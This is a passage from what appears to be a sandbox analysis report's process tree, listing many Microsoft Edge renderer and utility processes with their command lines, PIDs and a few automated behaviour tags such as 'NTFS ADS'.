- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --video-capture-use-gpu-memory-buffer --string-annotations --always-read-main-dll --field-trial-handle=6832,i,10639917123690700318,4902639089924984211,262144 --variations-seed-version --mojo-platform-channel-handle=7140 /prefetch:14
    3⤵
    PID:4032
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --string-annotations --pdf-upsell-enabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=19 --always-read-main-dll --field-trial-handle=3148,i,10639917123690700318,4902639089924984211,262144 --variations-seed-version --mojo-platform-channel-handle=4860 /prefetch:1
    3⤵
    PID:1548
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --string-annotations --pdf-upsell-enabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=20 --always-read-main-dll --field-trial-handle=5756,i,10639917123690700318,4902639089924984211,262144 --variations-seed-version --mojo-platform-channel-handle=6792 /prefetch:1
    3⤵
    PID:440
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --string-annotations --pdf-upsell-enabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=21 --always-read-main-dll --field-trial-handle=6728,i,10639917123690700318,4902639089924984211,262144 --variations-seed-version --mojo-platform-channel-handle=5380 /prefetch:1
    3⤵
    PID:5332
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --string-annotations --pdf-upsell-enabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=22 --always-read-main-dll --field-trial-handle=7124,i,10639917123690700318,4902639089924984211,262144 --variations-seed-version --mojo-platform-channel-handle=7156 /prefetch:1
    3⤵
    PID:2168
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --string-annotations --pdf-upsell-enabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=23 --always-read-main-dll --field-trial-handle=7000,i,10639917123690700318,4902639089924984211,262144 --variations-seed-version --mojo-platform-channel-handle=5544 /prefetch:1
    3⤵
    PID:1720
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --string-annotations --pdf-upsell-enabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=24 --always-read-main-dll --field-trial-handle=5824,i,10639917123690700318,4902639089924984211,262144 --variations-seed-version --mojo-platform-channel-handle=5840 /prefetch:1
    3⤵
    PID:980
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --string-annotations --pdf-upsell-enabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=25 --always-read-main-dll --field-trial-handle=6896,i,10639917123690700318,4902639089924984211,262144 --variations-seed-version --mojo-platform-channel-handle=6776 /prefetch:1
    3⤵
    PID:3464
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_search_indexer.mojom.SearchIndexerInterfaceBroker --lang=en-US --service-sandbox-type=search_indexer --message-loop-type-ui --video-capture-use-gpu-memory-buffer --string-annotations --always-read-main-dll --field-trial-handle=4436,i,10639917123690700318,4902639089924984211,262144 --variations-seed-version --mojo-platform-channel-handle=7204 /prefetch:14
    3⤵
    PID:1392
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --string-annotations --pdf-upsell-enabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=27 --always-read-main-dll --field-trial-handle=7508,i,10639917123690700318,4902639089924984211,262144 --variations-seed-version --mojo-platform-channel-handle=7560 /prefetch:1
    3⤵
    PID:1352
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=audio.mojom.AudioService --lang=en-US --service-sandbox-type=audio --video-capture-use-gpu-memory-buffer --string-annotations --always-read-main-dll --field-trial-handle=6748,i,10639917123690700318,4902639089924984211,262144 --variations-seed-version --mojo-platform-channel-handle=6792 /prefetch:12
    3⤵
    PID:3008
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --string-annotations --pdf-upsell-enabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=29 --always-read-main-dll --field-trial-handle=4176,i,10639917123690700318,4902639089924984211,262144 --variations-seed-version --mojo-platform-channel-handle=7736 /prefetch:1
    3⤵
    PID:4416
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_xpay_wallet.mojom.EdgeXPayWalletService --lang=en-US --service-sandbox-type=utility --video-capture-use-gpu-memory-buffer --string-annotations --always-read-main-dll --field-trial-handle=7824,i,10639917123690700318,4902639089924984211,262144 --variations-seed-version --mojo-platform-channel-handle=5828 /prefetch:14
    3⤵
    PID:3624
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --string-annotations --pdf-upsell-enabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=31 --always-read-main-dll --field-trial-handle=8000,i,10639917123690700318,4902639089924984211,262144 --variations-seed-version --mojo-platform-channel-handle=8016 /prefetch:1
    3⤵
    PID:5004
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --video-capture-use-gpu-memory-buffer --string-annotations --always-read-main-dll --field-trial-handle=8212,i,10639917123690700318,4902639089924984211,262144 --variations-seed-version --mojo-platform-channel-handle=7848 /prefetch:14
    3⤵
    PID:1732
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_collections.mojom.CollectionsDataManager --lang=en-US --service-sandbox-type=collections --video-capture-use-gpu-memory-buffer --string-annotations --always-read-main-dll --field-trial-handle=8256,i,10639917123690700318,4902639089924984211,262144 --variations-seed-version --mojo-platform-channel-handle=8200 /prefetch:14
    3⤵
    PID:1976
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --string-annotations --pdf-upsell-enabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=34 --always-read-main-dll --field-trial-handle=8236,i,10639917123690700318,4902639089924984211,262144 --variations-seed-version --mojo-platform-channel-handle=8280 /prefetch:1
    3⤵
    PID:2732
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=quarantine.mojom.Quarantine --lang=en-US --service-sandbox-type=none --video-capture-use-gpu-memory-buffer --string-annotations --always-read-main-dll --field-trial-handle=8796,i,10639917123690700318,4902639089924984211,262144 --variations-seed-version --mojo-platform-channel-handle=8360 /prefetch:14
    3⤵
    - NTFS ADS
    PID:4184
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --string-annotations --pdf-upsell-enabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=36 --always-read-main-dll --field-trial-handle=8768,i,10639917123690700318,4902639089924984211,262144 --variations-seed-version --mojo-platform-channel-handle=8592 /prefetch:1
    3⤵
    PID:2244
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --string-annotations --pdf-upsell-enabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=37 --always-read-main-dll --field-trial-handle=8012,i,10639917123690700318,4902639089924984211,262144 --variations-seed-version --mojo-platform-channel-handle=8148 /prefetch:1
    3⤵
    PID:1564
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --video-capture-use-gpu-memory-buffer --string-annotations --always-read-main-dll --field-trial-handle=752,i,10639917123690700318,4902639089924984211,262144 --variations-seed-version --mojo-platform-channel-handle=9148 /prefetch:14
    3⤵
    PID:2456
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --disable-gpu-sandbox --use-gl=disabled --gpu-vendor-id=4318 --gpu-device-id=140 --gpu-sub-system-id=0 --gpu-revision=0 --gpu-driver-version=10.0.22000.1 --string-annotations --gpu-preferences=UAAAAAAAAADoAAAEAAAAAAAAAAAAAAAAAABgAAEAAAAAAAAAAAAAAAAAAABCAAAAAAAAAAAAAAAAAAAAAAAAABAAAAAAAAAAEAAAAAAAAAAIAAAAAAAAAAgAAAAAAAAA --always-read-main-dll --field-trial-handle=8584,i,10639917123690700318,4902639089924984211,262144 --variations-seed-version --mojo-platform-channel-handle=6388 /prefetch:10
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    PID:1472
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --video-capture-use-gpu-memory-buffer --string-annotations --always-read-main-dll --field-trial-handle=8292,i,10639917123690700318,4902639089924984211,262144 --variations-seed-version --mojo-platform-channel-handle=8564 /prefetch:14
    3⤵
    PID:4900
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --string-annotations --pdf-upsell-enabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=41 --always-read-main-dll --field-trial-handle=1044,i,10639917123690700318,4902639089924984211,262144 --variations-seed-version --mojo-platform-channel-handle=2720 /prefetch:1
    3⤵
    PID:5332
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --string-annotations --pdf-upsell-enabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=42 --always-read-main-dll --field-trial-handle=8308,i,10639917123690700318,4902639089924984211,262144 --variations-seed-version --mojo-platform-channel-handle=5600 /prefetch:1
    3⤵
    PID:4780
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --string-annotations --pdf-upsell-enabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=43 --always-read-main-dll --field-trial-handle=5656,i,10639917123690700318,4902639089924984211,262144 --variations-seed-version --mojo-platform-channel-handle=8156 /prefetch:1
    3⤵
    PID:5752
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --string-annotations --pdf-upsell-enabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=44 --always-read-main-dll --field-trial-handle=3956,i,10639917123690700318,4902639089924984211,262144 --variations-seed-version --mojo-platform-channel-handle=5020 /prefetch:1
    3⤵
    PID:1872
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --string-annotations --pdf-upsell-enabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=45 --always-read-main-dll --field-trial-handle=5480,i,10639917123690700318,4902639089924984211,262144 --variations-seed-version --mojo-platform-channel-handle=9092 /prefetch:1
    3⤵
    PID:2544
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --video-capture-use-gpu-memory-buffer --string-annotations --always-read-main-dll --field-trial-handle=5500,i,10639917123690700318,4902639089924984211,262144 --variations-seed-version --mojo-platform-channel-handle=3780 /prefetch:14
    3⤵
    PID:5860
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --string-annotations --pdf-upsell-enabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=47 --always-read-main-dll --field-trial-handle=8940,i,10639917123690700318,4902639089924984211,262144 --variations-seed-version --mojo-platform-channel-handle=8348 /prefetch:1
    3⤵
    PID:1460
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --string-annotations --pdf-upsell-enabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=48 --always-read-main-dll --field-trial-handle=8356,i,10639917123690700318,4902639089924984211,262144 --variations-seed-version --mojo-platform-channel-handle=8180 /prefetch:1
    3⤵
    PID:3208
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --video-capture-use-gpu-memory-buffer --string-annotations --always-read-main-dll --field-trial-handle=8980,i,10639917123690700318,4902639089924984211,262144 --variations-seed-version --mojo-platform-channel-handle=9148 /prefetch:14
    3⤵
    PID:420
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --video-capture-use-gpu-memory-buffer --string-annotations --always-read-main-dll --field-trial-handle=9064,i,10639917123690700318,4902639089924984211,262144 --variations-seed-version --mojo-platform-channel-handle=5676 /prefetch:14
    3⤵
    PID:5860
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --string-annotations --pdf-upsell-enabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=51 --always-read-main-dll --field-trial-handle=5604,i,10639917123690700318,4902639089924984211,262144 --variations-seed-version --mojo-platform-channel-handle=8200 /prefetch:1
    3⤵
    PID:4440
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --string-annotations --pdf-upsell-enabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=52 --always-read-main-dll --field-trial-handle=8016,i,10639917123690700318,4902639089924984211,262144 --variations-seed-version --mojo-platform-channel-handle=3708 /prefetch:1
    3⤵
    PID:1020
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --string-annotations --pdf-upsell-enabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=53 --always-read-main-dll --field-trial-handle=8148,i,10639917123690700318,4902639089924984211,262144 --variations-seed-version --mojo-platform-channel-handle=5640 /prefetch:1
    3⤵
    PID:972
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --string-annotations --pdf-upsell-enabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=54 --always-read-main-dll --field-trial-handle=3748,i,10639917123690700318,4902639089924984211,262144 --variations-seed-version --mojo-platform-channel-handle=9056 /prefetch:1
    3⤵
    PID:5380
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --string-annotations --pdf-upsell-enabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=55 --always-read-main-dll --field-trial-handle=9164,i,10639917123690700318,4902639089924984211,262144 --variations-seed-version --mojo-platform-channel-handle=7368 /prefetch:1
    3⤵
    PID:1836
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --string-annotations --pdf-upsell-enabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=56 --always-read-main-dll --field-trial-handle=9296,i,10639917123690700318,4902639089924984211,262144 --variations-seed-version --mojo-platform-channel-handle=8276 /prefetch:1
    3⤵
    PID:5196
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=quarantine.mojom.Quarantine --lang=en-US --service-sandbox-type=none --video-capture-use-gpu-memory-buffer --string-annotations --always-read-main-dll --field-trial-handle=5588,i,10639917123690700318,4902639089924984211,262144 --variations-seed-version --mojo-platform-channel-handle=9268 /prefetch:14
    3⤵
    - NTFS ADS
    PID:2836
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --video-capture-use-gpu-memory-buffer --string-annotations --always-read-main-dll --field-trial-handle=3924,i,10639917123690700318,4902639089924984211,262144 --variations-seed-version --mojo-platform-channel-handle=8540 /prefetch:14
    3⤵
    PID:2012
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --video-capture-use-gpu-memory-buffer --string-annotations --always-read-main-dll --field-trial-handle=2484,i,10639917123690700318,4902639089924984211,262144 --variations-seed-version --mojo-platform-channel-handle=8552 /prefetch:14
    3⤵
    PID:3040
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --video-capture-use-gpu-memory-buffer --string-annotations --always-read-main-dll --field-trial-handle=8164,i,10639917123690700318,4902639089924984211,262144 --variations-seed-version --mojo-platform-channel-handle=9740 /prefetch:14
    3⤵
    PID:4148
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --string-annotations --pdf-upsell-enabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=61 --always-read-main-dll --field-trial-handle=8932,i,10639917123690700318,4902639089924984211,262144 --variations-seed-version --mojo-platform-channel-handle=9176 /prefetch:1
    3⤵
    PID:340
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --string-annotations --pdf-upsell-enabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=62 --always-read-main-dll --field-trial-handle=4016,i,10639917123690700318,4902639089924984211,262144 --variations-seed-version --mojo-platform-channel-handle=8100 /prefetch:1
    3⤵
    PID:1564
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --string-annotations --pdf-upsell-enabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=63 --always-read-main-dll --field-trial-handle=8316,i,10639917123690700318,4902639089924984211,262144 --variations-seed-version --mojo-platform-channel-handle=9172 /prefetch:1
    3⤵
    PID:3436
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=quarantine.mojom.Quarantine --lang=en-US --service-sandbox-type=none --video-capture-use-gpu-memory-buffer --string-annotations --always-read-main-dll --field-trial-handle=6644,i,10639917123690700318,4902639089924984211,262144 --variations-seed-version --mojo-platform-channel-handle=5636 /prefetch:14
    3⤵
    - NTFS ADS
    PID:5960
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --string-annotations --pdf-upsell-enabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=65 --always-read-main-dll --field-trial-handle=5520,i,10639917123690700318,4902639089924984211,262144 --variations-seed-version --mojo-platform-channel-handle=9204 /prefetch:1
    3⤵
    PID:3612
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --string-annotations --pdf-upsell-enabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=66 --always-read-main-dll --field-trial-handle=9376,i,10639917123690700318,4902639089924984211,262144 --variations-seed-version --mojo-platform-channel-handle=9408 /prefetch:1
    3⤵
    PID:2932
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --string-annotations --pdf-upsell-enabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=67 --always-read-main-dll --field-trial-handle=9228,i,10639917123690700318,4902639089924984211,262144 --variations-seed-version --mojo-platform-channel-handle=6376 /prefetch:1
    3⤵
    PID:2904
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --string-annotations --pdf-upsell-enabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=68 --always-read-main-dll --field-trial-handle=9240,i,10639917123690700318,4902639089924984211,262144 --variations-seed-version --mojo-platform-channel-handle=9396 /prefetch:1
    3⤵
    PID:5856
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --string-annotations --pdf-upsell-enabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=69 --always-read-main-dll --field-trial-handle=9204,i,10639917123690700318,4902639089924984211,262144 --variations-seed-version --mojo-platform-channel-handle=9368 /prefetch:1
    3⤵
    PID:2332
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --string-annotations --pdf-upsell-enabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=70 --always-read-main-dll --field-trial-handle=3788,i,10639917123690700318,4902639089924984211,262144 --variations-seed-version --mojo-platform-channel-handle=9332 /prefetch:1
    3⤵
    PID:5500
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --string-annotations --pdf-upsell-enabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=71 --always-read-main-dll --field-trial-handle=9476,i,10639917123690700318,4902639089924984211,262144 --variations-seed-version --mojo-platform-channel-handle=8548 /prefetch:1
    3⤵
    PID:3552
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --string-annotations --pdf-upsell-enabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=72 --always-read-main-dll --field-trial-handle=9688,i,10639917123690700318,4902639089924984211,262144 --variations-seed-version --mojo-platform-channel-handle=9692 /prefetch:1
    3⤵
    PID:6072
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --string-annotations --pdf-upsell-enabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=73 --always-read-main-dll --field-trial-handle=9924,i,10639917123690700318,4902639089924984211,262144 --variations-seed-version --mojo-platform-channel-handle=3712 /prefetch:1
    3⤵
    PID:3216
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --string-annotations --pdf-upsell-enabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=74 --always-read-main-dll --field-trial-handle=8084,i,10639917123690700318,4902639089924984211,262144 --variations-seed-version --mojo-platform-channel-handle=5596 /prefetch:1
    3⤵
    PID:3656
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --string-annotations --pdf-upsell-enabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=75 --always-read-main-dll --field-trial-handle=9420,i,10639917123690700318,4902639089924984211,262144 --variations-seed-version --mojo-platform-channel-handle=9272 /prefetch:1
    3⤵
    PID:4588
